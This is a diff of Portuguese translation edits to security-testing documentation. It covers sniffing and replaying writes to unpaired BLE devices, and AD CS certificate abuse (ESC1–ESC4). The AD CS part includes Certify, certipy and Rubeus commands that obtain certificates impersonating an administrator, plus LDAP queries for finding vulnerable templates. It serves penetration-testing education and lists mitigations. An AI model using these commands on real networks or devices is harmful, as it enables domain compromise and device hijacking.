@@ -66,11 +66,11 @@ sudo bettercap --eval "ble.recon on"
 ```
 ## Sniffing e controle ativo de dispositivos BLE não pareados
 
-Muitos periféricos BLE de baixo custo não aplicam pairing/bonding. Sem bonding, a Link Layer encryption nunca é ativada, então o tráfego ATT/GATT fica em texto claro. Um sniffer off-path pode acompanhar a conexão, decodificar operações GATT para descobrir characteristic handles e values, e qualquer host próximo pode então conectar e replay essas escritas para controlar o dispositivo.
+Muitos periféricos BLE de baixo custo não fazem enforcement de pairing/bonding. Sem bonding, o Link Layer encryption nunca é habilitado, então o tráfego ATT/GATT fica em cleartext. Um sniffer off-path pode seguir a conexão, decodificar operações GATT para aprender characteristic handles e valores, e qualquer host próximo pode então conectar-se e replay those writes para controlar o dispositivo.
 
 ### Sniffing with Sniffle (CC26x2/CC1352)
 
-Hardware: um Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed com o firmware Sniffle do NCC Group.
+Hardware: um Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) regravado com o firmware Sniffle do NCC Group.
 
 Instale o Sniffle e seu Wireshark extcap no Linux:
 ```bash
@@ -91,7 +91,7 @@ else
 echo "[+] - Sniffle already installed at 1.10.0"
 fi
 ```
-Flash Sonoff with Sniffle firmware (certifique-se de que seu dispositivo serial corresponda, por exemplo /dev/ttyUSB0):
+Flash Sonoff with Sniffle firmware (garanta que seu dispositivo serial corresponda, por exemplo /dev/ttyUSB0):
 ```bash
 pushd /opt/sniffle/
 wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
@@ -104,11 +104,11 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
 deactivate
 popd
 ```
-Capture no Wireshark usando o extcap Sniffle e pivot rapidamente para state-changing writes aplicando o filtro:
+Capture no Wireshark via o extcap Sniffle e pivot rapidamente para state-changing writes filtrando:
 ```text
 _ws.col.info contains "Sent Write Command"
 ```
-Isto destaca os ATT Write Commands enviados pelo client; o handle e o value frequentemente mapeiam diretamente para ações do dispositivo (por exemplo, write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
+Isto destaca ATT Write Commands do client; o handle e o value frequentemente mapeiam diretamente para ações do dispositivo (por exemplo, write 0x01 para uma buzzer/alert characteristic, 0x00 para parar).
 
 Exemplos rápidos do Sniffle CLI:
 ```bash
@@ -118,16 +118,16 @@ python3 scanner.py --rssi -40
 # Filter advertisements containing a string
 python3 sniffer.py --string "banana" --output sniff.pcap
 ```
-Alternative sniffer: o nRF Sniffer for BLE + Wireshark plugin da Nordic também funciona. Em dongles Nordic pequenos/baratos você normalmente sobrescreve o USB bootloader para carregar o sniffer firmware, então ou mantém um dongle sniffer dedicado ou precisa de um J-Link/JTAG para restaurar o bootloader depois.
+Sniffer alternativo: Nordic’s nRF Sniffer for BLE + Wireshark plugin também funciona. Em dongles Nordic pequenos/baratos você normalmente sobrescreve o USB bootloader para carregar o firmware do sniffer, então ou mantém um dongle sniffer dedicado ou precisa de um J-Link/JTAG para restaurar o bootloader depois.
 
 ### Controle ativo via GATT
 
-Depois de identificar um writable characteristic handle e value a partir do sniffed traffic, conecte-se como qualquer central e emita o mesmo write:
+Depois de identificar um handle de characteristic gravável e o valor a partir do tráfego sniffado, conecte-se como qualquer central e execute a mesma escrita:
 
-- Com Nordic nRF Connect for Desktop (BLE app):
+- With Nordic nRF Connect for Desktop (BLE app):
 - Selecione o dongle nRF52/nRF52840, escaneie e conecte-se ao alvo.
-- Navegue na GATT database, localize a target characteristic (frequentemente tem um nome amigável, p.ex., Alert Level).
-- Execute um Write com os sniffed bytes (p.ex., 01 para acionar, 00 para parar).
+- Navegue na GATT database, localize a characteristic alvo (frequentemente tem um nome amigável, e.g., Alert Level).
+- Execute um Write com os bytes sniffados (e.g., 01 para acionar, 00 para parar).
 
 - Automatize no Windows com um dongle Nordic usando Python + blatann:
 ```python
@@ -171,9 +171,9 @@ ble_device.close()
 ```
 ### Notas operacionais e mitigações
 
-- Prefira Sonoff+Sniffle em Linux para saltos de canal robustos e seguimento de conexões. Mantenha um Nordic sniffer de reserva como backup.
-- Sem pairing/bonding, qualquer atacante nas proximidades pode observar writes e replay/craft os seus próprios para unauthenticated writable characteristics.
-- Mitigações: exigir pairing/bonding e aplicar encryption; definir permissões de characteristic para exigir authenticated writes; minimizar unauthenticated writable characteristics; validar GATT ACLs com Sniffle/nRF Connect.
+- Prefira Sonoff+Sniffle em Linux para salto de canais robusto e acompanhamento de conexões. Mantenha um sniffer Nordic sobressalente como backup.
+- Sem pairing/bonding, qualquer atacante nas proximidades pode observar escritas e reproduzir/criar as suas próprias em características graváveis não autenticadas.
+- Mitigações: exigir pairing/bonding e aplicar criptografia; definir permissões das características para exigir escritas autenticadas; minimizar características graváveis não autenticadas; validar GATT ACLs com Sniffle/nRF Connect.
 
 ## Referências
 

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

@@ -6,74 +6,74 @@
 
 ### Componentes de um Certificado
 
-- O **Subject** do certificado denota seu proprietário.
-- Uma **Public Key** é pareada com uma chave privada para vincular o certificado ao seu legítimo dono.
+- O **Subject** do certificado indica seu proprietário.
+- Uma **Public Key** é pareada com uma chave privada para vincular o certificado ao seu legítimo proprietário.
 - O **Validity Period**, definido pelas datas **NotBefore** e **NotAfter**, marca a duração efetiva do certificado.
 - Um **Serial Number** único, fornecido pela Certificate Authority (CA), identifica cada certificado.
 - O **Issuer** refere-se à CA que emitiu o certificado.
 - **SubjectAlternativeName** permite nomes adicionais para o subject, aumentando a flexibilidade de identificação.
 - **Basic Constraints** identificam se o certificado é para uma CA ou uma entidade final e definem restrições de uso.
-- **Extended Key Usages (EKUs)** delineiam os propósitos específicos do certificado, como code signing ou email encryption, através de Object Identifiers (OIDs).
-- O **Signature Algorithm** especifica o método de assinatura do certificado.
+- **Extended Key Usages (EKUs)** delimitam os propósitos específicos do certificado, como assinatura de código ou criptografia de e-mail, através de Object Identifiers (OIDs).
+- O **Signature Algorithm** especifica o método para assinar o certificado.
 - A **Signature**, criada com a chave privada do issuer, garante a autenticidade do certificado.
 
 ### Considerações Especiais
 
-- **Subject Alternative Names (SANs)** expandem a aplicabilidade de um certificado para múltiplas identidades, crucial para servidores com múltiplos domínios. Processos de emissão seguros são vitais para evitar riscos de impersonation por atacantes que manipulam a especificação SAN.
+- **Subject Alternative Names (SANs)** ampliam a aplicabilidade de um certificado para múltiplas identidades, sendo cruciais para servidores com domínios múltiplos. Processos seguros de emissão são vitais para evitar riscos de impersonação por atacantes que manipulem a especificação SAN.
 
-### Certificate Authorities (CAs) em Active Directory (AD)
+### Certificate Authorities (CAs) no Active Directory (AD)
 
-AD CS reconhece certificados de CA em uma floresta AD através de containers designados, cada um servindo papéis únicos:
+O AD CS reconhece certificados de CA em uma floresta do AD através de containers designados, cada um servindo papéis únicos:
 
-- **Certification Authorities** container mantém certificados de CA raiz confiáveis.
-- **Enrolment Services** container detalha Enterprise CAs e seus certificate templates.
-- **NTAuthCertificates** object inclui certificados de CA autorizados para autenticação AD.
-- **AIA (Authority Information Access)** container facilita a validação da cadeia de certificados com certificados intermediários e cross CA.
+- O container **Certification Authorities** contém certificados de CA raiz confiáveis.
+- O container **Enrolment Services** detalha as Enterprise CAs e seus certificate templates.
+- O objeto **NTAuthCertificates** inclui certificados de CA autorizados para autenticação no AD.
+- O container **AIA (Authority Information Access)** facilita a validação da cadeia de certificados com certificados intermediários e cross CA.
 
-### Aquisição de Certificado: Fluxo de Requisição de Certificado do Cliente
+### Aquisição de Certificado: Fluxo de Requisição de Certificado pelo Cliente
 
 1. O processo de requisição começa com os clientes encontrando uma Enterprise CA.
-2. Um CSR é criado, contendo uma public key e outros detalhes, após gerar um par de chaves pública-privada.
+2. Um CSR é criado, contendo uma public key e outros detalhes, após a geração de um par de chaves pública-privada.
 3. A CA avalia o CSR contra os certificate templates disponíveis, emitindo o certificado com base nas permissões do template.
 4. Após aprovação, a CA assina o certificado com sua chave privada e o retorna ao cliente.
 
 ### Certificate Templates
 
-Definidos dentro do AD, esses templates descrevem as configurações e permissões para emissão de certificados, incluindo EKUs permitidos e direitos de enrollment ou modificação, críticos para gerenciar acesso aos serviços de certificados.
+Definidos dentro do AD, esses templates descrevem as configurações e permissões para emissão de certificados, incluindo EKUs permitidos e direitos de enrolment ou modificação, sendo críticos para gerenciar o acesso aos serviços de certificado.
 
-## Certificate Enrollment
+## Inscrição de Certificado
 
-O processo de enrollment para certificados é iniciado por um administrador que **cria um certificate template**, o qual é então **publicado** por uma Enterprise Certificate Authority (CA). Isso torna o template disponível para o enrollment de clientes, etapa alcançada adicionando o nome do template ao campo `certificatetemplates` de um objeto do Active Directory.
+O processo de inscrição para certificados é iniciado por um administrador que **cria um certificate template**, o qual é então **publicado** por uma Enterprise Certificate Authority (CA). Isso torna o template disponível para inscrição dos clientes, um passo realizado adicionando o nome do template ao campo `certificatetemplates` de um objeto do Active Directory.
 
-Para que um cliente solicite um certificado, devem ser concedidos **enrollment rights**. Esses direitos são definidos por security descriptors no certificate template e na própria Enterprise CA. Permissões devem ser concedidas em ambos os locais para que a requisição tenha sucesso.
+Para que um cliente solicite um certificado, devem ser concedidos **enrollment rights**. Esses direitos são definidos por descritores de segurança no certificate template e na própria Enterprise CA. Permissões devem ser concedidas em ambos os locais para que uma requisição seja bem-sucedida.
 
 ### Template Enrollment Rights
 
 Esses direitos são especificados através de Access Control Entries (ACEs), detalhando permissões como:
 
-- **Certificate-Enrollment** e **Certificate-AutoEnrollment** rights, cada um associado a GUIDs específicos.
+- Direitos **Certificate-Enrollment** e **Certificate-AutoEnrollment**, cada um associado a GUIDs específicos.
 - **ExtendedRights**, permitindo todas as permissões estendidas.
 - **FullControl/GenericAll**, fornecendo controle completo sobre o template.
 
 ### Enterprise CA Enrollment Rights
 
-Os direitos da CA são delineados em seu security descriptor, acessível via a console de gerenciamento Certificate Authority. Algumas configurações até permitem que usuários de baixa privilégio tenham acesso remoto, o que pode ser uma preocupação de segurança.
+Os direitos da CA são descritos em seu descritor de segurança, acessível via o console de gerenciamento do Certificate Authority. Algumas configurações permitem até mesmo que usuários com poucos privilégios tenham acesso remoto, o que pode ser uma preocupação de segurança.
 
 ### Controles Adicionais de Emissão
 
 Certos controles podem ser aplicados, como:
 
-- **Manager Approval**: Coloca requisições em estado pendente até serem aprovadas por um certificate manager.
-- **Enrolment Agents and Authorized Signatures**: Especificam o número de assinaturas requeridas em um CSR e os Application Policy OIDs necessários.
+- **Manager Approval**: Coloca requisições em estado pendente até serem aprovadas por um gerente de certificados.
+- **Enrolment Agents and Authorized Signatures**: Especificam o número de assinaturas necessárias em um CSR e os Application Policy OIDs exigidos.
 
 ### Métodos para Solicitar Certificados
 
 Certificados podem ser solicitados através de:
 
 1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), usando interfaces DCOM.
-2. **ICertPassage Remote Protocol** (MS-ICPR), via named pipes ou TCP/IP.
+2. **ICertPassage Remote Protocol** (MS-ICPR), através de named pipes ou TCP/IP.
 3. A **certificate enrollment web interface**, com a função Certificate Authority Web Enrollment instalada.
-4. O **Certificate Enrollment Service** (CES), em conjunto com o Certificate Enrollment Policy (CEP) service.
+4. O **Certificate Enrollment Service** (CES), em conjunto com o serviço Certificate Enrollment Policy (CEP).
 5. O **Network Device Enrollment Service** (NDES) para dispositivos de rede, usando o Simple Certificate Enrollment Protocol (SCEP).
 
 Usuários Windows também podem solicitar certificados via GUI (`certmgr.msc` ou `certlm.msc`) ou ferramentas de linha de comando (`certreq.exe` ou o comando PowerShell `Get-Certificate`).
@@ -81,25 +81,25 @@ Usuários Windows também podem solicitar certificados via GUI (`certmgr.msc` ou
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
-## Certificate Authentication
+## Autenticação por Certificado
 
 Active Directory (AD) suporta autenticação por certificado, utilizando principalmente os protocolos **Kerberos** e **Secure Channel (Schannel)**.
 
-### Kerberos Authentication Process
+### Processo de Autenticação Kerberos
 
-No processo de autenticação Kerberos, a solicitação de um usuário por um Ticket Granting Ticket (TGT) é assinada usando a **chave privada** do certificado do usuário. Essa solicitação passa por várias validações pelo controlador de domínio, incluindo a **validade**, a **cadeia de certificação** e o **estado de revogação** do certificado. As validações também incluem verificar se o certificado vem de uma fonte confiável e confirmar a presença do emissor no **NTAUTH certificate store**. Validações bem-sucedidas resultam na emissão de um TGT. O objeto **`NTAuthCertificates`** no AD, encontrado em:
+No processo de autenticação Kerberos, a solicitação de um usuário por um Ticket Granting Ticket (TGT) é assinada usando a **private key** do certificado do usuário. Essa solicitação passa por várias validações pelo domain controller, incluindo o **validity**, **path**, e **revocation status** do certificado. As validações também incluem verificar que o certificado provém de uma fonte confiável e confirmar a presença do emissor no **NTAUTH certificate store**. Validações bem-sucedidas resultam na emissão de um TGT. O objeto **`NTAuthCertificates`** no AD, encontrado em:
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-é central para estabelecer confiança na autenticação baseada em certificados.
+é central para estabelecer confiança na autenticação por certificado.
 
-### Autenticação Secure Channel (Schannel)
+### Secure Channel (Schannel) Authentication
 
-Schannel facilita conexões seguras TLS/SSL, onde, durante o handshake, o cliente apresenta um certificado que, se validado com sucesso, autoriza o acesso. O mapeamento de um certificado para uma conta AD pode envolver a função **S4U2Self** do Kerberos ou o **Subject Alternative Name (SAN)** do certificado, entre outros métodos.
+Schannel facilita conexões TLS/SSL seguras, onde durante o handshake o cliente apresenta um certificado que, se validado com sucesso, autoriza o acesso. O mapeamento de um certificado para uma conta AD pode envolver a função do Kerberos **S4U2Self** ou o **Subject Alternative Name (SAN)** do certificado, entre outros métodos.
 
-### Enumeração dos Serviços de Certificado do AD
+### AD Certificate Services Enumeration
 
-Os serviços de certificado do AD podem ser enumerados através de consultas LDAP, revelando informações sobre **Enterprise Certificate Authorities (CAs)** e suas configurações. Isto é acessível a qualquer usuário autenticado no domínio sem privilégios especiais. Ferramentas como **[Certify](https://github.com/GhostPack/Certify)** e **[Certipy](https://github.com/ly4k/Certipy)** são usadas para enumeração e avaliação de vulnerabilidades em ambientes AD CS.
+Os serviços de certificados do AD podem ser enumerados por consultas LDAP, revelando informações sobre **Enterprise Certificate Authorities (CAs)** e suas configurações. Isso é acessível a qualquer usuário autenticado no domínio sem privilégios especiais. Ferramentas como **[Certify](https://github.com/GhostPack/Certify)** e **[Certipy](https://github.com/ly4k/Certipy)** são usadas para enumeração e avaliação de vulnerabilidades em ambientes AD CS.
 
 Comandos para usar essas ferramentas incluem:
 ```bash

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -3,7 +3,7 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
 
-**Esta é um resumo das seções de técnicas de escalada dos posts:**
+**Este é um resumo das seções sobre técnicas de escalada dos posts:**
 
 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
@@ -15,30 +15,30 @@
 
 ### Misconfigured Certificate Templates - ESC1 Explicado
 
-- **Enrolment rights são concedidos a usuários de baixo privilégio pela Enterprise CA.**
-- **Aprovação do gerente não é necessária.**
+- **Enrolment rights são concedidos a usuários com baixos privilégios pela Enterprise CA.**
+- **Aprovação de um gerente não é necessária.**
 - **Não são necessárias assinaturas de pessoal autorizado.**
-- **Os descritores de segurança nos templates de certificado são excessivamente permissivos, permitindo que usuários de baixo privilégio obtenham direitos de enrolment.**
-- **Os templates de certificado são configurados para definir EKUs que facilitam a autenticação:**
-- Extended Key Usage (EKU) identifiers tais como Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ou sem EKU (SubCA) estão incluídos.
-- **A capacidade de os solicitantes incluírem um subjectAltName no Certificate Signing Request (CSR) é permitida pelo template:**
-- O Active Directory (AD) prioriza o subjectAltName (SAN) em um certificado para verificação de identidade, se presente. Isso significa que, especificando o SAN em um CSR, um certificado pode ser solicitado para se passar por qualquer usuário (por exemplo, um administrador de domínio). Se um SAN pode ser especificado pelo solicitante é indicado no objeto AD do template de certificado através da propriedade `mspki-certificate-name-flag`. Essa propriedade é uma máscara de bits, e a presença da flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite a especificação do SAN pelo solicitante.
+- **Security descriptors nos modelos de certificado são excessivamente permissivos, permitindo que usuários com baixos privilégios obtenham enrolment rights.**
+- **Os modelos de certificado são configurados para definir EKUs que facilitam a autenticação:**
+- Extended Key Usage (EKU) identifiers tais como Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ou sem EKU (SubCA) são incluídos.
+- **O template permite que os requesters incluam um subjectAltName no Certificate Signing Request (CSR):**
+- O Active Directory (AD) prioriza o subjectAltName (SAN) em um certificado para verificação de identidade se presente. Isso significa que, especificando o SAN em um CSR, um certificado pode ser solicitado para se passar por qualquer usuário (por exemplo, um domain administrator). Se um SAN pode ser especificado pelo requester é indicado no objeto do template de certificado no AD através da propriedade `mspki-certificate-name-flag`. Essa propriedade é uma bitmask, e a presença da flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite a especificação do SAN pelo requester.
 
 > [!CAUTION]
-> A configuração descrita permite que usuários de baixo privilégio solicitem certificados com qualquer SAN à escolha, possibilitando autenticação como qualquer principal do domínio através de Kerberos ou SChannel.
+> A configuração descrita permite que usuários com baixos privilégios solicitem certificados com qualquer SAN desejado, possibilitando autenticação como qualquer principal do domínio via Kerberos ou SChannel.
 
-Essa funcionalidade às vezes é ativada para suportar a geração dinâmica de certificados HTTPS ou de host por produtos ou serviços de deployment, ou devido à falta de entendimento.
+Esse recurso às vezes é ativado para suportar a geração on-the-fly de certificados HTTPS ou de host por produtos ou serviços de deployment, ou devido à falta de entendimento.
 
-Observa-se que criar um certificado com essa opção dispara um aviso, o que não acontece quando um template de certificado existente (como o template `WebServer`, que tem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ativado) é duplicado e então modificado para incluir um OID de autenticação.
+Observa-se que criar um certificado com essa opção gera um aviso, o que não acontece quando um template de certificado existente (como o template `WebServer`, que tem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitado) é duplicado e então modificado para incluir um authentication OID.
 
 ### Abuso
 
-Para **encontrar templates de certificado vulneráveis** você pode executar:
+Para **encontrar modelos de certificado vulneráveis** você pode executar:
 ```bash
 Certify.exe find /vulnerable
 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
 ```
-Para **abusar desta vulnerabilidade e se passar por um administrador** pode-se executar:
+Para **abusar desta vulnerabilidade para se passar por um administrador** pode-se executar:
 ```bash
 # Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@@ -54,66 +54,66 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
 -template 'ESC1' -upn 'administrator@corp.local'
 ```
-Então você pode transformar o **certificado gerado para o formato `.pfx`** e usá-lo para **autenticar usando Rubeus ou certipy** novamente:
+Então você pode converter o **certificado gerado para o formato `.pfx`** e usá-lo para **autenticar novamente usando Rubeus ou certipy**:
 ```bash
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
-Os binários do Windows "Certreq.exe" e "Certutil.exe" podem ser usados para gerar o PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
+Os binários do Windows "Certreq.exe" & "Certutil.exe" podem ser usados para gerar o PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
-A enumeração de certificate templates dentro do esquema de configuração da floresta do AD, especificamente aqueles que não necessitam de aprovação ou assinaturas, que possuam uma Client Authentication ou Smart Card Logon EKU, e com a flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, pode ser realizada executando a seguinte consulta LDAP:
+A enumeração de templates de certificado dentro do esquema de configuração da floresta do AD, especificamente aqueles que não exigem aprovação ou assinaturas, possuem um EKU de Client Authentication ou Smart Card Logon e têm a flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, pode ser realizada executando a seguinte consulta LDAP:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
 ## Modelos de Certificado Mal Configurados - ESC2
 
-### Explicação
+### Explanation
 
 O segundo cenário de abuso é uma variação do primeiro:
 
-1. Direitos de inscrição são concedidos a usuários de baixo privilégio pelo Enterprise CA.
-2. O requisito de aprovação do manager está desabilitado.
+1. Enrollment rights são concedidos a usuários com baixos privilégios pela Enterprise CA.
+2. O requisito de aprovação do gerente está desativado.
 3. A necessidade de assinaturas autorizadas é omitida.
-4. Um descritor de segurança excessivamente permissivo no modelo de certificado concede direitos de inscrição a usuários de baixo privilégio.
-5. **O modelo de certificado é definido para incluir o Any Purpose EKU ou no EKU.**
+4. Um descritor de segurança excessivamente permissivo no modelo de certificado concede direitos de inscrição de certificados a usuários com baixos privilégios.
+5. **O modelo de certificado é definido para incluir o Any Purpose EKU ou nenhum EKU.**
 
-O **Any Purpose EKU** permite que um atacante obtenha um certificado para **qualquer finalidade**, incluindo autenticação de cliente, autenticação de servidor, code signing, etc. A mesma **technique used for ESC3** pode ser empregada para explorar este cenário.
+O **Any Purpose EKU** permite que um certificado seja obtido por um atacante para **qualquer finalidade**, incluindo client authentication, server authentication, code signing, etc. A mesma **technique used for ESC3** pode ser empregada para explorar este cenário.
 
-Certificados com **no EKUs**, que atuam como certificados de CA subordinada, podem ser explorados para **qualquer finalidade** e **também podem ser usados para assinar novos certificados**. Assim, um atacante poderia especificar EKUs arbitrários ou campos nos novos certificados utilizando um certificado de CA subordinada.
+Certificados sem **EKUs**, que atuam como certificados de CA subordinada, podem ser explorados para **qualquer finalidade** e **também podem ser usados para assinar novos certificados**. Assim, um atacante poderia especificar EKUs arbitrários ou campos nos novos certificados ao utilizar um certificado de CA subordinada.
 
-No entanto, novos certificados criados para **autenticação de domínio** não funcionarão se a CA subordinada não for confiável pelo objeto **`NTAuthCertificates`**, que é a configuração padrão. Mesmo assim, um atacante ainda pode criar **novos certificados com qualquer EKU** e valores arbitrários de certificado. Estes poderiam ser potencialmente **abusados** para uma ampla gama de finalidades (por exemplo, code signing, autenticação de servidor, etc.) e podem ter implicações significativas para outras aplicações na rede como SAML, AD FS, ou IPSec.
+No entanto, novos certificados criados para **domain authentication** não funcionarão se a CA subordinada não for confiável pelo objeto **`NTAuthCertificates`**, que é a configuração padrão. Ainda assim, um atacante pode criar **novos certificados com qualquer EKU** e valores arbitrários de certificado. Estes podem ser potencialmente **abusados** para uma ampla gama de finalidades (por exemplo, code signing, server authentication, etc.) e podem ter implicações significativas para outras aplicações na rede, como SAML, AD FS ou IPSec.
 
-Para enumerar templates que correspondem a este cenário dentro do esquema de configuração da floresta AD, a seguinte consulta LDAP pode ser executada:
+Para enumerar templates que correspondem a este cenário dentro do esquema de configuração da Floresta AD, a seguinte consulta LDAP pode ser executada:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
-## Misconfigured Enrolment Agent Templates - ESC3
+## Modelos de Agente de Inscrição mal configurados - ESC3
 
 ### Explicação
 
-Este cenário é como o primeiro e o segundo, mas **abusando** de um **EKU diferente** (Certificate Request Agent) e **2 templates diferentes** (portanto tem 2 conjuntos de requisitos),
+Este cenário é semelhante ao primeiro e ao segundo, mas **abusando** de um **EKU diferente** (Certificate Request Agent) e **2 templates diferentes** (portanto tem 2 conjuntos de requisitos).
 
-O **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), conhecido como **Enrollment Agent** na documentação da Microsoft, permite que um principal **solicite um certificate** em nome de outro usuário.
+A **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), conhecida como **Enrollment Agent** na documentação da Microsoft, permite que um principal **faça a inscrição** de um **certificado** **em nome de outro usuário**.
 
-O **“enrollment agent”** realiza enrolment em tal **template** e usa o certificado resultante para **co-assinar um CSR em nome do outro usuário**. Em seguida, ele **envia** o **CSR co-assinado** para a CA, inscrevendo-se em um **template** que **permite “enroll on behalf of”**, e a CA responde com um **certificate pertencente ao “outro” usuário**.
+O **“enrollment agent”** se inscreve em tal **template** e usa o **certificado resultante para co-assinar um CSR em nome do outro usuário**. Em seguida, ele **envia** o **CSR co-assinado** para a CA, inscrevendo-se em um **template** que **permite “enroll on behalf of”**, e a CA responde com um **certificado pertencente ao “outro” usuário**.
 
-**Requirements 1:**
+**Requisitos 1:**
 
-- Direitos de enrollment são concedidos a usuários de baixo privilégio pela Enterprise CA.
-- A exigência de aprovação do gerente é omitida.
-- Nenhuma exigência de assinaturas autorizadas.
-- O security descriptor do certificate template é excessivamente permissivo, concedendo direitos de enrollment a usuários de baixo privilégio.
-- O certificate template inclui o Certificate Request Agent EKU, permitindo a requisição de outros certificate templates em nome de outros principals.
+- Direitos de inscrição são concedidos a usuários de baixo privilégio pela Enterprise CA.
+- O requisito de aprovação do gerente é omitido.
+- Nenhum requisito para assinaturas autorizadas.
+- O descritor de segurança do template de certificado é excessivamente permissivo, concedendo direitos de inscrição a usuários de baixo privilégio.
+- O template de certificado inclui a Certificate Request Agent EKU, permitindo a solicitação de outros templates de certificado em nome de outros principais.
 
-**Requirements 2:**
+**Requisitos 2:**
 
-- A Enterprise CA concede direitos de enrollment a usuários de baixo privilégio.
-- A aprovação do gerente é contornada.
-- A versão do schema do template é ou 1 ou superior a 2, e especifica um Application Policy Issuance Requirement que exige o Certificate Request Agent EKU.
-- Um EKU definido no certificate template permite autenticação de domínio.
-- Restrições para enrollment agents não são aplicadas na CA.
+- A Enterprise CA concede direitos de inscrição a usuários de baixo privilégio.
+- Aprovação do gerente é contornada.
+- A versão do esquema do template é igual a 1 ou superior a 2, e especifica um Application Policy Issuance Requirement que exige a Certificate Request Agent EKU.
+- Um EKU definido no template de certificado permite autenticação de domínio.
+- Restrições para agentes de inscrição não são aplicadas na CA.
 
-### Abuse
+### Abuso
 
 Você pode usar [**Certify**](https://github.com/GhostPack/Certify) ou [**Certipy**](https://github.com/ly4k/Certipy) para abusar deste cenário:
 ```bash
@@ -129,27 +129,27 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-Os **users** que são permitidos a **obter** um **enrollment agent certificate**, os templates nos quais os **enrollment agents** têm permissão para se inscrever, e as **accounts** em nome das quais o enrollment agent pode agir podem ser restringidos por enterprise CAs. Isso é feito abrindo o snap-in `certsrc.msc`, **clicando com o botão direito na CA**, **clicando Properties**, e então **navegando** até a aba “Enrollment Agents”.
+Os **usuários** que estão autorizados a **obter** um **enrollment agent certificate**, os templates nos quais enrollment **agents** têm permissão para se inscrever, e as **contas** em nome das quais o enrollment agent pode agir podem ser restringidos por CAs empresariais. Isso é feito abrindo o snap-in `certsrc.msc`, **clicando com o botão direito na CA**, **clicando em Properties**, e então **navegando** até a guia “Enrollment Agents”.
 
-No entanto, observa-se que a configuração **default** para CAs é “**Do not restrict enrollment agents**.” Quando a restrição sobre enrollment agents é habilitada pelos administradores, definindo-a como “Restrict enrollment agents,” a configuração padrão permanece extremamente permissiva. Ela permite que **Everyone** tenha acesso para se inscrever em todos os templates como qualquer usuário.
+No entanto, observa-se que a configuração **padrão** para CAs é “**Do not restrict enrollment agents**.” Quando a restrição a enrollment agents é habilitada pelos administradores, definindo-a como “Restrict enrollment agents,” a configuração padrão continua extremamente permissiva. Ela permite que **Everyone** tenha acesso para se inscrever em todos os templates como qualquer usuário.
 
-## Vulnerable Certificate Template Access Control - ESC4
+## Controle de Acesso Vulnerável de Templates de Certificado - ESC4
 
 ### **Explicação**
 
-O **security descriptor** em **certificate templates** define as **permissions** que **AD principals** específicos possuem em relação ao template.
+O **security descriptor** nos **certificate templates** define as **permissions** que **AD principals** específicos possuem em relação ao template.
 
